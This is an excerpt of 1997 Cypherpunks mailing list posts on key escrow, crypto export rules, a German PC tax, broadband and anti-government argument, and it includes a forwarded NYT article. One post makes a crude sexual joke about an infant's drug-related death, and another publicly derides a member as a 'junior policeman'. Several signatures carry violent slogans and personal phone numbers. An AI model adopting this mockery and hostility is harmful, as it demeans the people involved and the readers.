Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From tcmay at got.net  Fri Aug  1 18:54:54 1997
From: tcmay at got.net (Tim May)
Date: Sat, 2 Aug 1997 09:54:54 +0800
Subject: http:--www.cnn.com-US-9707-31-breast.milk-
In-Reply-To: <199708010310.WAA24360@einstein.ssz.com>
Message-ID: 

At 8:10 PM -0700 7/31/97, Jim Choate wrote:

>
>     TUCSON, Arizona (AP) -- Police have charged a woman with murder,
>     claiming her breast milk was so full of heroin and methadone that it
>     killed her 7-week-old daughter.
>

Too bad she'll go to prison, as I heard she has killer tits.

(My apologies to the wimminfolk here...I couldn't resist. Besides, women I
know are equally willing to make similar jokes, e.g., the gal who deride
rock music favored by young men as "cock rock. I then asked her what she
thought of "clit lit." She laughed.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From rah at shipwright.com  Fri Aug  1 19:02:27 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 2 Aug 1997 10:02:27 +0800
Subject: PCs, bitte.
Message-ID: 

--- begin forwarded text

X-Lotus-FromDomain: BIONOMICS at INTERLIANT @ OUTBOUND
From: "VitaminB"
To: "DAILY DOSE"
Date: Fri, 1 Aug 1997 17:05:28 -0700
Subject: <>(August 1, 1997) Going their own way
Mime-Version: 1.0

Vitamin B:
Your Daily Dose of Bionomics

August 1, 1997

Going their own way

Even though Germany had signed a pledge
to forget about taxing the Internet earlier this
month, it seems that its parasitic bureaucracy
has other ideas.  A recent multimedia law in
Germany has defined Internet PC's as devices
that can receive audio and video, so the
Gebuehreneinzugszentrale (GEZ), the collector
of the TV tax in Germany, has decided that this
tax applies to PC's as well.  What does this mean
for business?  According to the GEZ, companies
with 100 Internet-enabled PC's will be charged
1000 Marks (about $555), whether the PC's actually
run audio or video or not.

For those unfamiliar with the GEZ, this is the
organization which enforces the TV tax by going
into peoples homes and checking to see how many
sets they own and in some areas driving around
in special trucks to determine which houses receive
signals.

Bureaucracies, in an almost living way, seem to write
their own code and respond viciously to threats to
their territories.  Unless the German government
finds a way to limit the power of its bureaucracy,
that territory will get bigger all the time.

Source:  _Ziff-Davis Network News_, July 30, 1997

--- end forwarded text

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

From nor at dev.null  Fri Aug  1 19:02:39 1997
From: nor at dev.null (NO Remailer)
Date: Sat, 2 Aug 1997 10:02:39 +0800
Subject: New Non-Remailer Announcement
Message-ID: <199708020149.TAA12859@wombat.sk.sympatico.ca>

   ANNOUNCEMENT: "NO Remailer" Still Doesn't Work!
   -----------------------------------------------

  Doesn't work, and probably never will...
  It is unlikely that attempts to get my drinking under control are
going to be any more successful in the future than they have in the
past, so the "NO Remailer" will never likely be of any use to those
who wish to send anonymous email.
  However, if you are an impulsive person who is continuously sending
out anonymous email that only comes back to haunt you and get you into
trouble, then perhaps you should use the "NO Remailer." That way, you
will get the satisfaction of sending the email, but will not suffer the
consequences of it actually being delivered.
  Also, since our email often bounces when we are behind on payments to
our ISP, you will get an opportunity to review your attempts at sending
anonymous email, thus helping you to notice the really stupid things
you say and do (such as including your .sig line in the nasty letter to
your boss).

  In short, the "NO Remailer" is perfect for those whose lives are a
mess and/or who are as big a loser as the "NO Remailer" operator.

From rah at shipwright.com  Fri Aug  1 19:04:10 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 2 Aug 1997 10:04:10 +0800
Subject: JYA Axed
In-Reply-To: <1.5.4.32.19970802003043.006cb0a8@pop.pipeline.com>
Message-ID: 

At 8:30 pm -0400 on 8/1/97, John Young wrote:

> The ISP for jya.com, PrimeHost, an AOL subisidiary, has axed
> the site.

Ain't this 'self-censorship' stuff a bitch...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

From whynotu at NaturalInstincts.com  Sat Aug  2 10:06:24 1997
From: whynotu at NaturalInstincts.com (whynotu at NaturalInstincts.com)
Date: Sat, 2 Aug 1997 10:06:24 -0700 (PDT)
Subject: Hello There
Message-ID: <199708021236.IAA16683@hitsrus.com>

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From stewarts at ix.netcom.com  Fri Aug  1 19:44:20 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 2 Aug 1997 10:44:20 +0800
Subject: Denning backs away from GAK
In-Reply-To: 
Message-ID: <3.0.2.32.19970801185452.007746e8@popd.ix.netcom.com>

>Tim May writes:
>> And her "second thoughts" on GAK were not based on a principled 
>> repudiation of the concept of "escrowing" keys, or on Constitutional 
>> grounds, but only on the grounds that her study did not show that many 
>> criminal cases were much affected by the lack of key escrow.

That's fine - if we wanted people to oppose crypto-censorship on
moral or political grounds, we could ask the ACLU or EFF or CypherpunkCabal.
Professor Denning's position has never been that eavesdropping and
key escrow are required on the grounds of principle - it's
Louis Freeh's job to say "we can't go upsetting Law Enforcement's
traditional ability to eavesdrop on you, that'd be UnAmerican".
Her important contributions to the Bad Guys' position has been to say that
"Law enforcement needs your keys because there's no practical alternative",
which reinforces the FBI's and NSA's arguments.  Now that she's saying
"Law enforcement doesn't really need your keys, they're doing just fine
without them, even in spite of all the insider talks they've given me"
that knocks the utilitarian leg out from under them.  That's very good.

Won't stop the Bad Guys from trying, of course, but it's a good start.
On the other hand, it'll probably provide extra ammunition for the current
"legalize exports but criminalize use of crypto in crime" bills,
which gives the government more power than they've had before domestically
at the cost of losing the export battle which they were losing anyway.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From tcmay at got.net  Fri Aug  1 20:25:09 1997
From: tcmay at got.net (Tim May)
Date: Sat, 2 Aug 1997 11:25:09 +0800
Subject: Denning backs away from GAK
In-Reply-To: <199707311824.LAA25935@slack.lne.com>
Message-ID: 

At 6:54 PM -0700 8/1/97, Bill Stewart wrote:
>>Tim May writes:
>>> And her "second thoughts" on GAK were not based on a principled
>>> repudiation of the concept of "escrowing" keys, or on Constitutional
>>> grounds, but only on the grounds that her study did not show that many
>>> criminal cases were much affected by the lack of key escrow.
>
>That's fine - if we wanted people to oppose crypto-censorship on
>moral or political grounds, we could ask the ACLU or EFF or CypherpunkCabal.
>Professor Denning's position has never been that eavesdropping and
>key escrow are required on the grounds of principle - it's
>Louis Freeh's job to say "we can't go upsetting Law Enforcement's
>traditional ability to eavesdrop on you, that'd be UnAmerican".
>Her important contributions to the Bad Guys' position has been to say that
>"Law enforcement needs your keys because there's no practical alternative",
>which reinforces the FBI's and NSA's arguments.  Now that she's saying
>"Law enforcement doesn't really need your keys, they're doing just fine
>without them, even in spite of all the insider talks they've given me"
>that knocks the utilitarian leg out from under them.  That's very good.

I disagree. A likely scenaria, I fear, is this:

* Denning's new study gets publicity

* Denning is "redeemed" and gains new influence

* GAK is delayed for this year

* Denning continues her study

* Next year's report finds solid evidence that crypto is being used to
hinder investigations, and has indeed had an effect.

(Hey, even dumb freedom fighters, er, "terrorists," will soon be using
strong crypto in ways that will surely affect investigations....)

* Denning's new conclusions, and her redemption, will generate support for GAK.

Classic "good cop, bad cop" and "bait and switch."

We've discussed this before. Just as the CDA was best attacked on
constitutional or basic issues, and not on whether porn was or was not
available on the Net, so, too, should GAK be attacked on constitutional or
basic issues, not on whether investigations have or have not been affected
by crypto.

Those who live by utilitarian arguments will die by utilitarian arguments.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From tcmay at got.net  Fri Aug  1 20:30:30 1997
From: tcmay at got.net (Tim May)
Date: Sat, 2 Aug 1997 11:30:30 +0800
Subject: Bionomics banned as a cult in Germany?
In-Reply-To: 
Message-ID: 

At 6:40 PM -0700 8/1/97, Robert Hettinga wrote:
>--- begin forwarded text
>

>Vitamin B:
>Your Daily Dose of Bionomics
>

>Even though Germany had signed a pledge

Hey, I thought "bionomics" had been banned as an illegal and dangerous cult
in Germany?

(Sure seems like a whacked-out newage cult to me....)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From rah at shipwright.com  Fri Aug  1 21:27:07 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 2 Aug 1997 12:27:07 +0800
Subject: Bionomics banned as a cult in Germany?
In-Reply-To: 
Message-ID: 

At 11:25 pm -0400 on 8/1/97, Tim May wrote:

> Hey, I thought "bionomics" had been banned as an illegal and dangerous cult
> in Germany?
>
> (Sure seems like a whacked-out newage cult to me....)

Yeah. Even Newt, Peter Huber, and Stewart Brand are cult members.

:-).

Cheers,
Bob

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

From enoch at zipcon.net  Fri Aug  1 21:39:03 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Sat, 2 Aug 1997 12:39:03 +0800
Subject: Denning backs away from GAK
In-Reply-To: 
Message-ID: <19970802043128.30258.qmail@zipcon.net>

Tim May writes:

 > * Next year's report finds solid evidence that crypto is being used to
 > hinder investigations, and has indeed had an effect. 

This is obviously the strategy here.  If we lend credibility to the
examination of chicken entrails because the Sorcerer is saying something
we agree with, then we are powerless to denounce the process as flim-flam
when we wake up one morning and find ourselves no longer in the Sorcerer's
graces. 

Similarly, if we buy into the notion that national crypto policy should be
dictated by the needs of law enforcement, instead of fundamental
Constitutional considerations, because law enforcement is purring and
courting our favor, then it is only a matter of time before we find that
we have stupidly oiled the very machinery which will be used for our
beheading.

As Tim says, stick with Constitutional arguments, not utilitarian ones,
and beware of Wise Persons from the East bearing Gifts.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

From vznuri at netcom.com  Fri Aug  1 22:01:35 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Sat, 2 Aug 1997 13:01:35 +0800
Subject: Canada's Entrust does end-run around ITAR
Message-ID: <199708020443.VAA10553@netcom13.netcom.com>

------- Forwarded Message

Date: Fri, 01 Aug 1997 18:13:20 -0700
From: kalliste at aci.net (J. Orlin Grabbe)
To: snetnews at world.std.com
Subject: SNET: [Fwd: Another torpedo slams into Clinton crypto policy]

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From: jqp at globaldialog.com
Newsgroups: alt.current-events.clinton.whitewater,alt.politics.clinton
Subject: Another torpedo slams into Clinton crypto policy
Date: Fri, 01 Aug 1997 00:21:25 -0500
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NY Times
August 1, 1997

Canadian Product Puts New Spin on Encryption Debate

By PETER WAYNER 

Canadian company's recent release of a new 
encryption product and subsequent announcement 
that it had received a license from Canada to 
export the product has surprised many companies 
and U.S. officials. 

The release was startling because the United States 
and Canada historically regulated the encryption-
exporting issue in synchrony. 

The company, Entrust Technologies Ltd., released 
a free version of its Entrust/Solo software on 
Tuesday, and announced that they had received a 
license from the Canadian government to export 
it to almost all of the world. 

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

THE MOVE BY ENTRUST SEEMS TO EXPLOIT A DIFFERENCE 
IN THE REGULATIONS BETWEEN THE UNITED STATES AND 
CANADA.

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

This decision by Canada could signal a major rift 
developing between two allies over an issue that 
is becoming increasingly important to the computer 
software industry. 

In fact, the move seemed to startle the [*]Bureau 
of Export Affairs at the U.S. Department of Commerce. 
James Lewis, director of strategic trade at the 
bureau, would only issue a one-sentence statement 
through a spokeswoman: "This is under review as 
a potential enforcement matter." He offered no 
insight into which American laws were being violated. 
Shauna White, a spokeswoman for the company, said 
"We believe we are in full compliance with all 
the Canadian laws that apply." 

In the past, the United States and Canada enforced 
their encryption regulations with such cooperation 
that most controlled products are shipped in boxes 
announcing, "For U.S. and Canada only." The U.S. 
government was certain that Canadian regulations 
would block anyone from shipping the product out 
of Canada. 

Those regulations are still in place and there 
has been no change in the effect on products built 
in the United States. Programs written by Canadians,
however, are another matter. Entrust was able to 
qualify for a license because their software contained 
what John Ryan, the company president and chief 
executive, said was "100 percent Canadian content." 
That is, it was developed in Canada by Canadian 
citizens. 

Entrust Technologies Inc. was spun off on Jan. 
2, 1997, from Nortel (Northern Telecom) after Nortel 
developed the Entrust product. Entrust Technologies 
Inc. is based in Dallas, but most of the development 
work is done in Ottawa, Ontario, where the Canadian 
subsidiary, Entrust Technologies Ltd. has its offices. 
Ryan, for instance, is a Canadian citizen. 

The move by Entrust seems to exploit a difference 
in the regulations between the United States and 
Canada. Both countries are members of the Wassenar 
Arrangement on Arms Export Controls, a set of loosely 
controlled rules that took the place of Cold War-
era regulations designed to reign in conventional 
arms and dual-use technologies. 

The arrangement regulates the export of encryption 
software but provided an exemption for general-
use software that was freely available through 
either the public domain or widespread public channels 
like stores. Ryan explained: "Many countries have 
chosen to 'to turn that part off.' Canada has not 
chosen to turn that part off." 

The existence of this regulatory difference may 
have come as a surprise to many people in the United 
States because the Canadian software industry has 
not yet produced a top-rank international competitor. 
The academic computer science departments at colleges 
like the University of Toronto are first rate, 
but there are no companies with the same public 
presence as Microsoft or IBM. 

But Entrust Technology's emergence shows how quickly 
the public perception can become obsolete in the 
swiftly moving world of technology. The company 
is clearly hoping that its free version of the 
Entrust/Solo software will build acceptance for 
the commercial versions, which are also freely 
exportable. Many other companies follow the same 
strategy of releasing free versions to the public 
in order to publicize the commercial versions, 
which usually come with more features. 

Entrust allows people to download free copies of 
Entrust/Solo for personal use from their Web site,
but they block requests from seven restricted countries:
Libya, Iran, Iraq, Cuba, Angola, Syria and North 
Korea. France and Singapore are also blocked because 
they have restrictions on the import of technology. 

Entrust is already in heavy competition against 
a U.S. company, [*]Pretty Good Privacy Inc., which 
is circulating a free version of its encryption 
package, PGP 5.0. This version is available for 
home and non-commercial use without charge. The 
software, however, was developed in the United 
States and can't be exported without a license. 
The company has worked closely with the U.S. Commerce 
Department to smooth licenses for major U.S. companies 
seeking to use the software with their subsidiaries,
but an individual license must still be granted 
in each case. 

Kelly Huebner Blough, director of government relations 
for Pretty Good Privacy, said: "Well, of course 
we would like the U.S. to license exports more 
liberally. Most of the other countries in the world 
license encryption software more freely. They may 
have strong policies on the books, but when it 
comes to implementation, the U.S. is the most restrictive." 

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

ALL OF THE MAJOR SOFTWARE COMPANIES LIKE MICROSOFT,
IBM AND SUN CONTINUE TO PRESS THE U.S. GOVERNMENT 
FOR RELIEF OF THE EXPORT CONTROL LAWS, ARGUING 
THAT BETTER AND BETTER SOFTWARE IS EMERGING THROUGHOUT 
THE WORLD.

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Other companies will also be feeling the pressure. 
Ray Ozzie, the president of Iris, the developer 
of Lotus Notes, which is now owned by IBM, said:
"This is further proof that easy-to-use, high-grade 
encryption products are available worldwide, and 
that U.S. companies continue to be at a disadvantage 
in the world marketplace. U.S. policy needs to 
change in order to take these realities into account." 

One of the most vexing parts of the regulatory 
equation involves unraveling whether the U.S. government 
can exert any pressure on Entrust Technologies 
Ltd. through its U.S.-based corporate parent, Entrust 
Technologies Inc. The current version of the regulations 
restrict U.S. companies from providing "technical 
assistance" to their foreign companies--a rule 
that would seemingly not apply to a product developed 
completely by Canadians. Earlier drafts were more 
vague and seemed to target any relationship or 
aid, but the final version focused on technical 
assistance. 

Companies with close relationships with the U.S. 
government are still circumspect. Steve Walker,
president of the Glenwood, Md.-based [*]Trusted 
Information Systems, works closely with the Commerce 
Department to seek approval for all of its work 
done in Europe. They ask for a license for all 
of the software being developed by their subsidiary 
in Britain. "We've tried to be very careful about 
this, perhaps more careful about it than we need 
to be," Walker said and then pointed out, "We're 
getting approval." 

[*]Sun Microsystems is pursuing a strategy with 
a different corporate structure. The company bought 
a minority stake in a Russian network software 
company in 1993 and recently asked them to develop 
encryption software for the world market. The deal 
is undergoing scrutiny from the U.S. Department 
of Commerce, but no announcement has been made 
about the resolution. Sun announced that they hope 
to ship the software on August 15. 

Still, the range of a government is hard to measure. 
Greg Katsas, a lawyer in the Washington office 
of Jones, Day, Reavis, and Pogue, said: "Generally,
the rules of jurisdiction of the place of incorporation 
apply, but there are cases where U.S. law reaches 
outside the boundaries. For instance, anti-trust 
law can cover acts done outside the U.S. intended 
to have an impact inside the U.S." 

All of the major software companies like Microsoft,
IBM and Sun continue to press the U.S. government 
for relief of the export control laws, arguing 
that better and better software is emerging throughout 
the world. In the House of Representatives, legislation 
sponsored by Representative Bob Goodlatte, a Republican 
from Virginia, to liberalize export laws has found 
wide support, while similar legislation in the 
Senate has died. 

One of the major initiatives offered by the Clinton 
administration would ease export licenses for software 
that made it possible for law enforcement officials 
to obtain the software's keys with a court order. 
They propose lifting the restrictions for exporting 
the software using 56-bit keys with DES. 

A number of businesses have joined together what 
they call the Key Recovery Alliance to help negotiate 
with the government about the final implementation 
of this plan. Most major software vendors, including 
Entrust and Sun, are part of the alliance. While 
the companies are committed to producing software 
that helps recover encryption keys in emergencies,
there is a great deal of debate about how this 
will be carried out. 

Entrust's product for office groups does offer 
key recovery, but it is a far cry from what the 
U.S. government would like to see implemented. 
Copies of the keys are only stored on the hard 
disk of the employee responsible for overseeing 
the network. There is no capability right now for 
interfacing with trusted third parties who would 
serve as recovery agents for the police. 

Still, Entrust also seems to be working to meet 
U.S. regulations. Their enterprise-wide system 
for larger companies has been granted a license 
for U.S. export even though it uses 56-bit keys. 
This license was recently granted as part of the 
United States' push for key recovery. It signifies 
that the U.S. Commerce Department felt that Entrust 
was moving toward compliance with the policy of 
smoothing access for the police. In two years, 
Entrust may integrate their key recovery system 
with licensed recovery agents or it could face 
losing its U.S. license. 

In the long run, this strategy continues to receive 
heavy resistance. While many businesses welcome 
key-recovery solutions for internal use, they seem 
to resist making it too easy for the police to 
access their documents. Corporations, after all,
can be found guilty as well. 

The same rules apply to countries, which are finding 
themselves in an increasingly brutal worldwide 
competition for dominance. Countries with the most 
liberal export laws may be rewarded with a strong 
fraction of the market share and this is the crucial 
time when the decisions about product acceptance 
are being decided. Many MIS managers may choose 
Entrust's products simply because they don't need 
to fill out forms with the U.S. government in order 
to supply it to all of their foreign subsidiaries. 

Andrew Csinger is the President of Xcert, a Vancouver-
based Canadian software company that manufactures 
encryption technology used for certification authorities. 
He expects that any difference between U.S. and 
Canadian encryption laws will be short-lived. "I 
think that market pressures are going to force 
the U.S. administration to respond more quickly,
" he said. "In reality, cryptography is widely 
available throughout the world." 

Copyright 1997 The New York Times Company

- -> Send "subscribe   snetnews " to majordomo at world.std.com
- ->  Posted by: kalliste at aci.net (J. Orlin Grabbe)

------- End of Forwarded Message

From jito at eccosys.com  Fri Aug  1 22:57:47 1997
From: jito at eccosys.com (Joichi Ito)
Date: Sat, 2 Aug 1997 13:57:47 +0800
Subject: thanks...
Message-ID: <199708020550.OAA04024@eccosys.com>

Thanks to everyone who sent me information about Key Recovery.

FYI, I gave a fairly objective update on the current status of the bills being
debated in the US, distributed the Walsh Report (missing some paragraphs)
and reviewed John Davidson's comments on the report, distributed and
reviewed "The Risks of Key Recover, Key Escrow and Trusted Third-Party
Encryption", distributed and reviewed most of the material written by
Carl Ellison, reviewed the recent letter from Janet Reno to Congress,
distributed Whit Diffie's May '93 testimony on Clipper, and finished by
distributing materials from the TIS site, in particular going over RecoverKey.

I can't tell you about any of the other stuff that is currently being
presented
in the study group, but once the report becomes public, I will try to get
an English version up on the Net. It should end up being the Japanese
National Poice Agency's official position on Key Escrow, Certification
Authorities, and several other issues.

I will be participating in another study group soon to discuss many of
these issues with the Self Defense Force from the point of view of
Japanese national security as well as another NPA study group on
what to do about "crackers"... Anyway, if anyone who can give me some
insight into these areas will be at HIP, I'd love to chat. ;-)

Thanks again.

- Joi

P.S. I am not a "policeman" but an outside boardmember of these
study groups. The ministries are under quite a bit of scrutiny these
days and the study groups tend to be quite frank and balanced.
The reports don't always dictate the law, but since most politicians
do not have real staffers, therefore most of the expert study is done in the
ministries.

--
Finger jito at nsm.eccosys.com or jito at garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe at ito.com

From Raymond.Mereniuk at mat.calvex.com  Fri Aug  1 23:33:25 1997
From: Raymond.Mereniuk at mat.calvex.com (Raymond Mereniuk)
Date: Sat, 2 Aug 1997 14:33:25 +0800
Subject: "Telco Terrorism" -- Wired on Baby Bells v. the Net
In-Reply-To: 
Message-ID: <199708020537.WAA05914@mat.calvex.com>

>If the Telcos move to raise rates, the internet will cease using the 
>Telco system.  And then some telephone interface company will create 
...deleted text...

The Telcos have always lived in a monopolistic environment, they 
can't see the world in any other manner.  One can say many bad things 
about these people.  

Fortunately, there may be reason for them to change their ways in 
regards to Internet access.  Canada is not the most competitive place 
in the world and most Canadians just accept this and pay more money 
then they should for goods and services with no questions to the 
system which forces such things as `Canadian Content' down their 
throats.  Bottom line is that business is not that competitive here.

I have been in the data communications business for a long time and 
dealt with bad service and attitude from Canadian Telcos.  Recently 
the local cable company (Rogers Cablesystems) started offering 
Internet access through a cable modem for CAN$55/month (US$39.95).  
This gives you the cable modem with some sort of asymmetrical data 
transfer rates.  They don't tell you the actual up-stream and 
down-stream data transfer rates but apparently you can get 6 - 10 
times the download rates as possible through a 33.6Kbps modem.

This might at first glance appear a bit expensive but it is a 
permanent connection.  They give you one IP address and up to five 
Email addresses under the standard monthly fee (there is a bit-count 
with charges if you go over the maximum but the limit is in GBs).  
The cable modem rental is included.  They charge CAN$150 (US$109) for 
installation and setup.  Included in this install fee is an Ethernet 
card.  Compare this to ISDN or installing an additional telephone 
line PLUS paying for ISP access.

If you are not careful everyone on your local cable segment can see 
your sytem but what the hell don't you want to get to know your 
neighbors better???  If you are technologically more than clue-less 
you would install a Linux box as a firewall and give it the assigned 
IP address.  Behind your firewall you could install...  whatever?!  
If you have a network, well that can be connected also!??  They will 
do the DNS work (probably at extra charge as this is the cable 
company) and set you up as a sub-domain on their domain and you could 
run a POP3 server to send/receive mail.  

This sounds pretty good, I could go for this, and they even offer it 
in my neighborhood.  But, I must move soon so I will do it in the 
fall after the move.  Now the local Telco (BC Tel, owned by GTE) gets 
a new chairman and the newspaper lets him blow his own horn and puts 
the article on the front page of the local section of one of the 
regional newspapers (Vancouver Sun).  In this ego flexing article the 
CHAIRman states that their market and engineering 
trials are almost over and that they will be offering ADSL for 
Internet access in the fall and that they have a big surprise in 
store for the local cable company as they can beat their Internet 
access offering.  Since that article the local Telco has filed an 
ADSL tariff offering with the federal regulatory body with a 
requested response date of August 27th as they want to begin offering 
this service in the market this fall.  

Are we about to see an elephant tapdance???  If this elephant is 
about to learn to tapdance maybe there is hope for the other Telcos 
of North America.  If by chance I got into the wrong medication 
please advise.  
Virtually

Raymond at wcs.net
Raymond Mereniuk

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From tcmay at got.net  Fri Aug  1 23:52:37 1997
From: tcmay at got.net (Tim May)
Date: Sat, 2 Aug 1997 14:52:37 +0800
Subject: Joichi Ito as a Junior Policeman
In-Reply-To: <199708020550.OAA04024@eccosys.com>
Message-ID: 

At 10:31 PM -0700 8/1/97, Joichi Ito wrote:

>I can't tell you about any of the other stuff that is currently being
>presented
>in the study group, but once the report becomes public, I will try to get
>an English version up on the Net. It should end up being the Japanese
>National Poice Agency's official position on Key Escrow, Certification
>Authorities, and several other issues.

And why are you helping to write a report that will be the "official
position" of the Japanese cops?

>I will be participating in another study group soon to discuss many of
>these issues with the Self Defense Force from the point of view of
>Japanese national security as well as another NPA study group on
>what to do about "crackers"... Anyway, if anyone who can give me some
>insight into these areas will be at HIP, I'd love to chat. ;-)

And why are working for the "Self Defense Force" (the Japanese DOD, for
those not familiar with the terminology).

The JDF is notoriously militaristic. You should reconsider this.

And Cypherpunks should be very careful about "advising" an obviously
co-opted member of the Japanese military and police establishment.

Use crypto to undermine such entities, not support them. Crypto will
unleash anarchy on the world.

>Thanks again.
>
>- Joi
>
>P.S. I am not a "policeman" but an outside boardmember of these
>study groups. The ministries are under quite a bit of scrutiny these
>days and the study groups tend to be quite frank and balanced.
>The reports don't always dictate the law, but since most politicians
>do not have real staffers, therefore most of the expert study is done in the
>ministries.

You sound like a "junior policeman" to me.

Another person to add to the killfiles.

--TCM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From rwright at adnetsol.com  Sat Aug  2 00:37:34 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Sat, 2 Aug 1997 15:37:34 +0800
Subject: Joichi Ito as a Junior Policeman
Message-ID: <199708020732.AAA12484@adnetsol.adnetsol.com>

On or About  1 Aug 97 at 23:46, Tim May wrote:

> You sound like a "junior policeman" to me.

I smelled bacon.  And I thought I saw Doughnut crumbs.

> Another person to add to the killfiles.

Hey, not me.  You gotta know what the bad guys are up to.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795

From straightedge.dave at sk.sympatico.ca  Sat Aug  2 00:57:21 1997
From: straightedge.dave at sk.sympatico.ca (David Yaffe)
Date: Sat, 2 Aug 1997 15:57:21 +0800
Subject: Jim Bell & e-commerce
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <3.0.2.32.19970802014824.007c9a10@mailhost.sk.sympatico.ca>

Hi,
I'm fairly new to the list and to crypto/political issues.. 

question one: What did Jim Bell do that go him into trouble?
question two: If all non-key-escrow crypto systems become banned, won't
that make e-commerce illegal? 
Thanks
David
"You can take my PGP when you pry it from my cold, dead fingers"

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From kent at songbird.com  Sat Aug  2 02:12:40 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 2 Aug 1997 17:12:40 +0800
Subject: free market services vs monopoly government
In-Reply-To: <19970731182720.53925@bywater.songbird.com>
Message-ID: <19970802015614.65348@bywater.songbird.com>

On Fri, Aug 01, 1997 at 11:32:04AM +0100, Adam Back wrote:

After reading your long response I have one general comment:

"No Fair!"

Remember your rhetorical question that started this: "indeed why have
any governments at all?" That reflects a *vastly* different position
than favoring less government.  Analogy: it would be better for my
health if I ate less.  It would not be good at all for my health to
eat zero.  Your rhetorical question posed the "zero" position for
government, and that was the position I was arguing against.  

But your reasoning is this, apparently: "Kent says he doesn't believe
it is possible for a human society to not have a government, therefore
Kent favors big intrusive government." This kind of "reasoning" is
rife on cypherpunks; may I suggest it is beneath you?

With that little thing out of the way:

[...]
> > Consequently, a statement like "Government is always bad" is ipso
> > facto a shallow generalization, and my natural reaction is to point
> > out that sometimes government is good.
> 
> I'll admit there are situations where a government may make a good
> decision, or handle a situation not too badly, or not that
> restrictively.  Such situations are quite rare though, aren't they :-)

Compared to what? Compared to an imagined libertarian utopia, or
compared to really bad situations (say, North Korea), or Cambodia
under Pol Pot? In fact, you and I live lives of unbridled luxury,
compared to a majority of the human race.  Our government has 
something to do with that.  Put another way: your debit governments 
for the bad things they do, but you don't credit them for the bad 
things they prevent.  A fair analysis would include both.

[...]

